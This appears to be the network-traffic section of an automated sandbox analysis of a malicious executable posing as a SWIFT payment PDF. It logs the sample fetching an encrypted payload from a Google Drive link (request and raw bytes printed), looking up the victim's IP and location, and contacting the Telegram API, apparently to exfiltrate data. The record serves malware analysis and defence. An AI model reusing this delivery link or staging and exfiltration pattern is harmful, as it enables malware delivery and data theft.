Dec 15, 2024 18:29:51.156511068 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.156645060 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.156877995 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.166491985 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.166598082 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.166676998 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.167155027 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.175906897 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.176068068 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.176084042 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.176147938 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.185483932 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.185581923 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.185647964 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.185754061 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.199872017 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.199985027 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.200016975 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.200073004 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.202759981 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.202846050 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.202886105 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.202965021 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.202977896 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.203059912 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.204051018 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.204143047 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.204268932 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.204308033 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.204333067 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.204350948 CET	443	49846	172.217.17.65	192.168.2.4
Dec 15, 2024 18:29:51.204380035 CET	49846	443	192.168.2.4	172.217.17.65
Dec 15, 2024 18:29:51.760657072 CET	49858	80	192.168.2.4	193.122.130.0
Dec 15, 2024 18:29:51.882474899 CET	80	49858	193.122.130.0	192.168.2.4
Dec 15, 2024 18:29:51.882699966 CET	49858	80	192.168.2.4	193.122.130.0
Dec 15, 2024 18:29:51.882936001 CET	49858	80	192.168.2.4	193.122.130.0
Dec 15, 2024 18:29:52.002624989 CET	80	49858	193.122.130.0	192.168.2.4
Dec 15, 2024 18:29:53.020834923 CET	80	49858	193.122.130.0	192.168.2.4
Dec 15, 2024 18:29:53.068552017 CET	49858	80	192.168.2.4	193.122.130.0
Dec 15, 2024 18:29:53.080347061 CET	49858	80	192.168.2.4	193.122.130.0
Dec 15, 2024 18:29:53.200185061 CET	80	49858	193.122.130.0	192.168.2.4
Dec 15, 2024 18:29:53.458142996 CET	80	49858	193.122.130.0	192.168.2.4
Dec 15, 2024 18:29:53.504085064 CET	49858	80	192.168.2.4	193.122.130.0
Dec 15, 2024 18:29:54.192825079 CET	49865	443	192.168.2.4	104.21.67.152
Dec 15, 2024 18:29:54.192908049 CET	443	49865	104.21.67.152	192.168.2.4
Dec 15, 2024 18:29:54.192981958 CET	49865	443	192.168.2.4	104.21.67.152
Dec 15, 2024 18:29:54.196424007 CET	49865	443	192.168.2.4	104.21.67.152
Dec 15, 2024 18:29:54.196465015 CET	443	49865	104.21.67.152	192.168.2.4
Dec 15, 2024 18:29:55.439449072 CET	443	49865	104.21.67.152	192.168.2.4
Dec 15, 2024 18:29:55.439595938 CET	49865	443	192.168.2.4	104.21.67.152
Dec 15, 2024 18:29:55.443269014 CET	49865	443	192.168.2.4	104.21.67.152
Dec 15, 2024 18:29:55.443300009 CET	443	49865	104.21.67.152	192.168.2.4
Dec 15, 2024 18:29:55.443701982 CET	443	49865	104.21.67.152	192.168.2.4
Dec 15, 2024 18:29:55.448642969 CET	49865	443	192.168.2.4	104.21.67.152
Dec 15, 2024 18:29:55.491453886 CET	443	49865	104.21.67.152	192.168.2.4
Dec 15, 2024 18:29:55.889712095 CET	443	49865	104.21.67.152	192.168.2.4
Dec 15, 2024 18:29:55.889796019 CET	443	49865	104.21.67.152	192.168.2.4
Dec 15, 2024 18:29:55.889882088 CET	49865	443	192.168.2.4	104.21.67.152
Dec 15, 2024 18:29:55.932670116 CET	49865	443	192.168.2.4	104.21.67.152
Dec 15, 2024 18:30:01.425071001 CET	49858	80	192.168.2.4	193.122.130.0
Dec 15, 2024 18:30:01.547382116 CET	80	49858	193.122.130.0	192.168.2.4
Dec 15, 2024 18:30:01.893702030 CET	80	49858	193.122.130.0	192.168.2.4
Dec 15, 2024 18:30:01.941771984 CET	49858	80	192.168.2.4	193.122.130.0
Dec 15, 2024 18:30:02.043170929 CET	49885	443	192.168.2.4	149.154.167.220
Dec 15, 2024 18:30:02.043226004 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:02.043304920 CET	49885	443	192.168.2.4	149.154.167.220
Dec 15, 2024 18:30:02.043874025 CET	49885	443	192.168.2.4	149.154.167.220
Dec 15, 2024 18:30:02.043903112 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:03.429035902 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:03.429136992 CET	49885	443	192.168.2.4	149.154.167.220
Dec 15, 2024 18:30:05.474471092 CET	49885	443	192.168.2.4	149.154.167.220
Dec 15, 2024 18:30:05.474545956 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:05.474931955 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:05.476660967 CET	49885	443	192.168.2.4	149.154.167.220
Dec 15, 2024 18:30:05.519345045 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:05.519459009 CET	49885	443	192.168.2.4	149.154.167.220
Dec 15, 2024 18:30:05.519470930 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:06.300527096 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:06.300618887 CET	443	49885	149.154.167.220	192.168.2.4
Dec 15, 2024 18:30:06.300685883 CET	49885	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 15, 2024 18:29:43.099060059 CET	51029	53	192.168.2.4	1.1.1.1
Dec 15, 2024 18:29:43.236304045 CET	53	51029	1.1.1.1	192.168.2.4
Dec 15, 2024 18:29:45.878531933 CET	56682	53	192.168.2.4	1.1.1.1
Dec 15, 2024 18:29:46.016710043 CET	53	56682	1.1.1.1	192.168.2.4
Dec 15, 2024 18:29:51.611061096 CET	65014	53	192.168.2.4	1.1.1.1
Dec 15, 2024 18:29:51.755301952 CET	53	65014	1.1.1.1	192.168.2.4
Dec 15, 2024 18:29:53.740725994 CET	62889	53	192.168.2.4	1.1.1.1
Dec 15, 2024 18:29:54.191927910 CET	53	62889	1.1.1.1	192.168.2.4
Dec 15, 2024 18:30:01.900265932 CET	52121	53	192.168.2.4	1.1.1.1
Dec 15, 2024 18:30:02.042350054 CET	53	52121	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 15, 2024 18:29:43.099060059 CET	192.168.2.4	1.1.1.1	0x2e44	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:45.878531933 CET	192.168.2.4	1.1.1.1	0x5fc5	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:51.611061096 CET	192.168.2.4	1.1.1.1	0xbd8d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:53.740725994 CET	192.168.2.4	1.1.1.1	0x3259	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:30:01.900265932 CET	192.168.2.4	1.1.1.1	0xca3c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 15, 2024 18:29:43.236304045 CET	1.1.1.1	192.168.2.4	0x2e44	No error (0)	drive.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:46.016710043 CET	1.1.1.1	192.168.2.4	0x5fc5	No error (0)	drive.usercontent.google.com		172.217.17.65	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:51.755301952 CET	1.1.1.1	192.168.2.4	0xbd8d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 15, 2024 18:29:51.755301952 CET	1.1.1.1	192.168.2.4	0xbd8d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:51.755301952 CET	1.1.1.1	192.168.2.4	0xbd8d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:51.755301952 CET	1.1.1.1	192.168.2.4	0xbd8d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:51.755301952 CET	1.1.1.1	192.168.2.4	0xbd8d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:51.755301952 CET	1.1.1.1	192.168.2.4	0xbd8d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:54.191927910 CET	1.1.1.1	192.168.2.4	0x3259	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:29:54.191927910 CET	1.1.1.1	192.168.2.4	0x3259	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 15, 2024 18:30:02.042350054 CET	1.1.1.1	192.168.2.4	0xca3c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49858	193.122.130.0	80	6020	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 15, 2024 18:29:51.882936001 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 15, 2024 18:29:53.020834923 CET	321	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 17:29:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1c55c299182855f63add6ab6f81f2476 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 15, 2024 18:29:53.080347061 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 15, 2024 18:29:53.458142996 CET	321	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 17:29:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1ab230af0c1dd111f12a5362f1c7d074 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 15, 2024 18:30:01.425071001 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 15, 2024 18:30:01.893702030 CET	321	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 17:30:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d6a806db51b56cbed9fd023111824388 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49837	216.58.208.238	443	6020	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 17:29:45 UTC	216	OUT	GET /uc?export=download&id=138pqZxsrel6pv22ZzsGxQKK8bi-dritC HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-15 17:29:45 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sun, 15 Dec 2024 17:29:45 GMT Location: https://drive.usercontent.google.com/download?id=138pqZxsrel6pv22ZzsGxQKK8bi-dritC&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-qEaxtTOsE_XJWG3pPdC9rA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49846	172.217.17.65	443	6020	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 17:29:47 UTC	258	OUT	GET /download?id=138pqZxsrel6pv22ZzsGxQKK8bi-dritC&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-15 17:29:50 UTC	4932	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC62fTCKqa_oR-I2MPC-bTqT3oB7ic6S207RkT0XRUOfj241nteTfJztf62jrLpu7ks1 Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="bIvDKwZtKo15.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Sun, 15 Dec 2024 10:12:47 GMT Date: Sun, 15 Dec 2024 17:29:50 GMT Expires: Sun, 15 Dec 2024 17:29:50 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=TSOSBQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-15 17:29:50 UTC	4932	IN	Data Raw: 9a 53 28 a4 85 90 59 38 b7 2b 21 9e cf 45 12 a1 99 62 34 bc d3 3c 1d 9b 88 c7 ca 39 ec b3 af 45 66 8d e2 86 ac 05 7e 2d 93 ae bf 8e 48 e7 77 4e 09 be f4 95 16 9d d9 0d 45 da d2 47 57 c4 d2 96 06 9d c0 c3 36 0b 4b 98 8a 3f 53 c1 71 43 14 1f d6 ae 61 2b 53 6c a8 59 31 63 f0 60 d0 e8 07 36 b4 0a ed 86 4c c3 2d 65 4f 8b f3 31 14 68 24 21 b3 22 2e b7 de 6f 89 69 f8 16 94 c5 00 3f b7 ad 5c f8 8f 42 67 81 a1 ac f4 83 a2 d7 66 3f d5 9a fd 8a f6 45 b8 bd c1 cf a3 a8 77 e1 85 16 8a cb a3 44 3f 1e 01 67 c4 1d d5 8f f3 de da 35 e7 87 81 ff 8c a7 59 fb 4c 5f 6c 2e cd a6 e2 4a c3 9b 67 24 80 73 43 ac f5 53 51 f0 f8 ec a8 92 78 17 1c 0e 03 99 a7 4c 65 05 15 b7 02 76 bf 9b 7d 20 0b 06 99 c9 06 73 26 a2 99 00 e9 95 e7 e1 51 6d b1 97 c2 dd eb b0 84 97 00 6c 50 82 50 00 57 Data Ascii: S(Y8+!Eb4<9Ef~-HwNEGW6K?SqCa+SlY1c`6L-eO1h$!".oi?\Bgf?EwD?g5YL_l.Jg$sCSQxLev} s&QmlPPW
2024-12-15 17:29:50 UTC	4835	IN	Data Raw: b7 88 de 13 ca ae 5c 1d 7b 82 fd 2b 92 b4 64 08 6f 8a 3d 01 83 fa a2 e9 59 98 ae 19 97 69 35 e3 20 40 4d b6 e0 8d f0 e0 56 16 93 e4 f3 24 ac ab 06 39 27 12 4c 1b ea ae 9b 99 0b 27 7c 80 68 a3 eb 41 d6 a9 79 e6 36 e1 d1 50 a9 0a 36 f4 4e 53 23 2a f9 d2 b1 55 97 83 98 13 75 b2 bf ff 2b 19 ff b4 d7 92 a9 79 1a 34 00 51 0f 3e 63 4d 4e b5 a0 72 c0 b7 7f 51 93 cc 24 51 aa ac ab 4f 25 55 a1 b5 76 b1 b1 1c 55 a9 43 76 19 35 61 f3 da 9b c3 5e b5 5d 54 20 f3 6f de 05 c9 b9 e0 a0 70 11 ea b3 be 9e 20 86 1b 42 25 53 d8 2a ad 1d 69 c4 12 ef d1 5b 8b 44 38 33 c0 ca eb 94 ef 24 81 51 2f 18 22 b7 ba 10 78 91 d8 5d 73 03 06 e6 96 12 4a f9 5b 72 f6 fb 2a d1 9c 73 8b 0d 73 cf 35 da 30 92 7f a0 14 3f 4c 8f c5 0b 90 04 cb f3 e2 70 ee 33 60 40 52 0f 73 01 4d af 0d 6d 5a c2 ea Data Ascii: \{+do=Yi5 @MV$9'L'\|hAy6P6NS#Uu+y4Q>cMNrQ$QO%UvUCv5a^]T op B%Si[D83$Q/"x]sJ[r*ss50?Lp3`@RsMmZ
2024-12-15 17:29:50 UTC	1321	IN	Data Raw: e9 97 b9 07 c3 cc 3a f9 3c ca 93 99 92 2b ee b9 1d b6 c4 b1 39 82 4f ea fe c0 52 24 7b a9 8b 93 90 58 f4 66 e7 69 46 a2 f7 47 7c bb 2d 7a e2 1a d5 71 29 b3 ea 07 76 d0 75 07 ed 87 ea 89 2d b7 c9 bf 84 d5 8b cf 9c c0 10 ce 08 b7 2a 7b d5 d1 6e 31 38 d1 74 fd 12 ee e1 6f 0c f6 b4 38 36 fb f8 5c 40 a7 7a d4 b8 a2 a9 43 af 1b a9 54 d6 cf 6d 86 e0 c7 a0 bc 6a b2 fa c9 ed 93 9a 8c 0c a4 85 bf ec 16 9c f0 66 22 3c 69 15 2f 76 05 89 3e cd 4a 00 ad 96 b3 c1 51 82 ec d6 47 15 a5 bc 0f 8d f7 c5 d4 de 0b 10 b8 7c 5f ca 8b 1c 3f 04 55 fe 17 40 71 5e cb 5b da e2 fc ed a9 6a 0a 46 83 7a b7 04 0f b8 f9 05 b2 dc 21 42 3a ca 2b 80 f9 43 64 7f 27 3b 76 b3 19 2c 98 b5 9f 7b fd e8 1e 86 6b 13 3b fe 2f 04 8c 14 52 7f e6 32 6b c6 49 90 13 dd 2f d6 d6 e9 22 5e 6d 7f 88 85 06 00 Data Ascii: :<+9OR${XfiFG\|-zq)vu-*{n18to86\@zCTmjf"<i/v>JQG\|_?U@q^[jFz!B:+Cd';v,{k;/R2kI/"^m
2024-12-15 17:29:50 UTC	1390	IN	Data Raw: 62 58 af a8 35 25 16 1f 40 d9 af 51 8e 94 4c 99 b9 b4 d9 f5 ee b1 cc c3 ef 92 1e 8f cf 7e 72 80 76 7e 09 ee a1 ac 16 30 25 85 ea 1e 80 d5 cc 61 3f 78 4f 45 2f 1f e8 e1 95 e2 a1 a3 0f 21 a2 7a 78 b1 5c 9b 22 d8 10 aa 5c f2 9b 79 7a 68 e9 c3 c6 33 37 cd 23 32 4b 22 49 ff e7 86 d2 78 c4 b4 7f 6a 03 dc b0 ba ba 3e e2 de 83 bf b7 77 ed b4 1d 43 9d 12 e7 9f 80 d4 fd 34 81 df ef 13 17 0e df 44 f8 50 6d 03 88 25 35 01 01 04 61 75 4c 81 f2 47 ee 98 28 d3 a2 d4 23 b6 c7 0b e2 c7 30 e3 9a 4b 0a 73 f4 a9 cf cc 0f be 1d d1 46 3d 76 bd 1f 22 ca 39 10 df 3f 0c 45 d3 48 e9 ab 3c dc a9 7d 07 7b 3b 8f 7f e1 cf 25 84 92 62 8e a3 51 79 3d a3 84 20 6f b2 eb d0 2a ee a4 94 cf d3 5b 42 2e a2 1a fc bc 23 ca 94 cf 7a 56 36 99 e9 68 a4 aa 0b 7f 74 84 69 d5 23 ce 5d 25 66 b1 37 e8 Data Ascii: bX5%@QL~rv~0%a?xOE/!zx\"\yzh37#2K"Ixj>wC4DPm%5auLG(#0KsF=v"9?EH<}{;%bQy= o*[B.#zV6hti#]%f7
2024-12-15 17:29:50 UTC	1390	IN	Data Raw: 5a db 58 0b 0d 69 43 cc a0 a6 5c 5a c9 23 2d 35 0b 41 8b 81 2e 5d d0 80 ce 44 05 6e de 0e c0 53 6c a2 4e a7 0c 1f 60 d0 e2 14 26 a5 04 9f d2 56 c3 5d 4d 01 8b f3 3b 07 79 35 30 aa 51 de b7 de 65 9a 7b e9 04 fb 34 80 3f bd 1a 41 f4 24 5f 70 ef bf b7 58 62 a3 9b aa 0d 95 e4 87 ec a4 d7 cf d2 d6 ae d4 d4 45 93 f0 6e f5 b7 b8 96 5d 7b 2b 33 a0 67 e3 77 bd 2e 9e 7a b4 59 ed 83 ff d3 60 e5 58 44 51 02 cb b0 f1 52 c3 b0 32 61 97 60 17 ad e7 40 f1 10 9e 47 be 81 63 2f 2a 0c 03 99 56 58 76 1f 8f a9 72 47 a8 ec 68 31 10 9f 86 b6 29 7d 37 b6 56 9e 79 8a da 3f 50 7b 4f 36 e8 dc fd a3 d8 86 1c 5f 4d 93 4d 3b ae 8f 30 29 c4 87 17 58 92 6d 02 a0 79 ec 45 eb bd 54 3a d9 0f af e6 7f b8 bd 80 b3 29 03 20 1c 44 bc 5b 94 8e d5 0f 7a 82 0f f5 65 f4 dd ad 82 bb 0d 6b ea ed 2d Data Ascii: ZXiC\Z#-5A.]DnSlN`&V]M;y50Qe{4?A$_pXbEn]{+3gw.zY`XDQR2a`@Gc/*VXvrGh1)}7Vy?P{O6_MM;0)XmyET:) D[zek-
2024-12-15 17:29:50 UTC	1390	IN	Data Raw: 96 62 82 f8 43 fc 81 2b fd 06 ed 0c 55 aa 0a 36 c5 4e 53 4c 32 fb a0 7d 3c c1 f8 b0 2d 63 9a 34 f4 3d 9e b0 4a d6 80 a0 6f 37 f5 1b 50 05 28 9d 3f cf bc b3 7d c2 b4 42 5e f9 c1 20 51 96 02 26 4f 25 5f bc d9 6d b1 cb 02 37 56 2c f9 13 32 43 77 fb 9b c9 72 21 cd 54 2a ea 69 de 05 8e d4 e0 a0 70 70 92 93 fd ff 00 df 65 42 23 36 cd 10 ad 17 4b 90 1b fe d2 40 84 44 38 38 d3 d1 fc ec 84 de 81 21 5b 16 29 a6 b5 71 e6 8b d4 01 42 55 0c 89 62 7d d9 f3 4c 17 09 85 38 db f3 77 f9 99 79 e7 55 c9 37 89 75 cf 81 3f 5d 8d bb 8c ff 92 c1 e0 e5 61 9d 3e d0 9e 41 6d ec 74 5c a5 1e 64 08 d4 fb 81 ea 51 55 21 10 1d 3f 9e 1a 1b 4c 19 cd b6 fe 0d 8b f7 a9 95 8f a3 f9 b1 3b 1e 89 83 a7 14 5f 3a 4b 95 96 29 a6 e0 6a 29 cd 6d 14 d7 36 bc 64 51 15 c9 10 10 dc 87 8d 30 f3 5c 40 77 Data Ascii: bC+U6NSL2}<-c4=Jo7P(?}B^ Q&O%_m7V,2Cwr!T*ippeB#6K@D88![)qBUb}L8wyU7u?]a>Amt\dQU!?L;_:K)j)m6dQ0\@w
